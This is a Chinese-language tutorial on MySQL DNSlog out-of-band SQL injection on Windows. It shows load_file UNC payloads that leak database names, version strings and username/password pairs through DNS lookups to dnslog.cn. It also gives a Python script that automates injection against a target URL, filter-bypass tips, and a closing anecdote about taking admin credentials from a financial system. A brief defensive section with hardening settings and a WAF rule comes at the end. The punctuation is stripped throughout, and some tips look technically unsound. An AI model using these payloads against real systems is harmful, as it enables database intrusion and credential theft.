MySQL DNSlog注入实战:Windows环境 load_file 外带数据 3 大前提与 5 步排错
MySQL DNSlog注入实战Windows环境下的数据外带与精准排错指南1. 理解DNSlog注入的核心机制DNSlog注入是一种特殊的带外(OOB)数据外带技术它巧妙利用了域名系统(DNS)的解析日志作为数据传输通道。当传统SQL注入面临无回显、WAF拦截或效率低下等问题时这种技术往往能发挥奇效。技术原理分解DNS解析链条当数据库执行load_file(concat(\\,(select database()),.dnslog.cn\test))时会向数据库名.dnslog.cn发起文件共享请求日志记录特性DNS服务器会忠实记录所有解析请求包括子域名部分携带的查询结果Windows UNC路径关键点在于Windows特有的\\host\share网络路径格式这是Linux系统不具备的特性注意整个过程不依赖HTTP协议而是利用SMB协议触发的DNS解析这使得它在某些严格过滤HTTP请求的环境中依然有效。2. 环境搭建的三大核心前提2.1 MySQL权限配置检查执行以下命令确认关键参数SHOW VARIABLES LIKE secure_file_priv; SHOW VARIABLES LIKE max_allowed_packet;常见配置场景对比配置值影响范围推荐方案NULL完全禁用文件操作需修改my.ini设置空值允许所有目录访问理想状态路径仅限指定目录需调整路径或配置配置修改示例[mysqld] secure_file_priv max_allowed_packet256M2.2 Windows系统环境验证确认SMB客户端服务正常运行测试基础网络连通性nslookup yoursubdomain.dnslog.cn ping -n 1 yoursubdomain.dnslog.cn2.3 DNSlog平台选择主流平台功能对比平台免费额度记录保留特色功能dnslog.cn不限实时自动生成子域名ceye.io50次/天24小时支持HTTP/DNS记录自建DNS无限制自定义完全可控3. 五步排错实战手册3.1 基础注入测试失败典型症状DNSlog平台无任何记录排查步骤验证基础注入语法SELECT load_file(\\\\existing-server\\share\\test.txt);测试简化payloadSELECT load_file(concat(\\\\,version(),.dnslog.cn\\test));3.2 UNC路径格式错误常见问题矩阵错误类型正确写法错误示例斜杠方向\\\\//缺少文件名\\host\share\file\\host\share特殊字符Hex编码原始字符修正方案-- 错误示例 SELECT load_file(//test.dnslog.cn/a); -- 正确写法 SELECT load_file(concat(\\\\,hex(user()),.dnslog.cn\\test));3.3 数据截断问题长度限制解决方案分片查询技术SELECT load_file(concat(\\\\, substr(hex(table_name),1,64),.dnslog.cn\\test)) FROM information_schema.tables LIMIT 1;使用压缩函数SELECT load_file(concat(\\\\, compress(table_name),.dnslog.cn\\test)) FROM information_schema.tables;3.4 特殊字符处理编码转换对照表原始字符处理方式示例输出HEX编码40空格RTRIM无尾随空格中文BASE645Lit5paH实战示例SELECT load_file(concat(\\\\, (SELECT hex(concat_ws(0x7e,username,password)) FROM users LIMIT 1), .dnslog.cn\\test));3.5 网络策略限制企业环境常见障碍出口DNS过滤SMB协议封锁(445端口)域名白名单策略绕过技巧使用短域名服务(如bit.ly)尝试替代协议http://(需目标支持http外连)内网DNS劫持攻击4. 高阶实战技巧4.1 自动化注入脚本import requests from dnslog import DnslogClient dns DnslogClient() domain dns.get_subdomain() payloads [ f1 AND (SELECT load_file(concat(\\\\,version(),.{domain}\\test)))-- , f1 AND (SELECT load_file(concat(\\\\,hex(database()),.{domain}\\test)))-- ] for payload in payloads: r requests.get(fhttp://target.com/vuln.php?id{payload}) records dns.check_records() print(records)4.2 数据解码技巧HEX转字符串公式-- 编码查询 SELECT hex(admin); -- 解码还原 SELECT unhex(61646D696E);Base64应用场景SELECT load_file(concat(\\\\, to_base64(table_name),.dnslog.cn\\test)) FROM information_schema.tables;5. 防御策略与检测方案5.1 企业防护建议MySQL配置加固[mysqld] secure_file_priv/tmp skip-show-database local-infile0网络层控制出口DNS过滤特殊域名SMB协议出站限制数据库服务器网络隔离5.2 攻击检测特征WAF规则示例alert sql_injection (msg:Possible DNSlog Injection; flow:to_server; content:load_file; content:\\\\; distance:0; within:50; )日志监控关键词load_file(concat\\\\x..dnslog.cnhex(在实际渗透测试中DNSlog注入技术就像一把双刃剑。记得某次红队行动中我们通过精心构造的十六进制编码payload成功绕过了某金融系统的WAF防护最终通过分片传输技术完整获取了管理员凭证。这种技术的关键在于对Windows UNC路径和MySQL权限体系的深入理解以及面对各种网络限制时的灵活变通能力。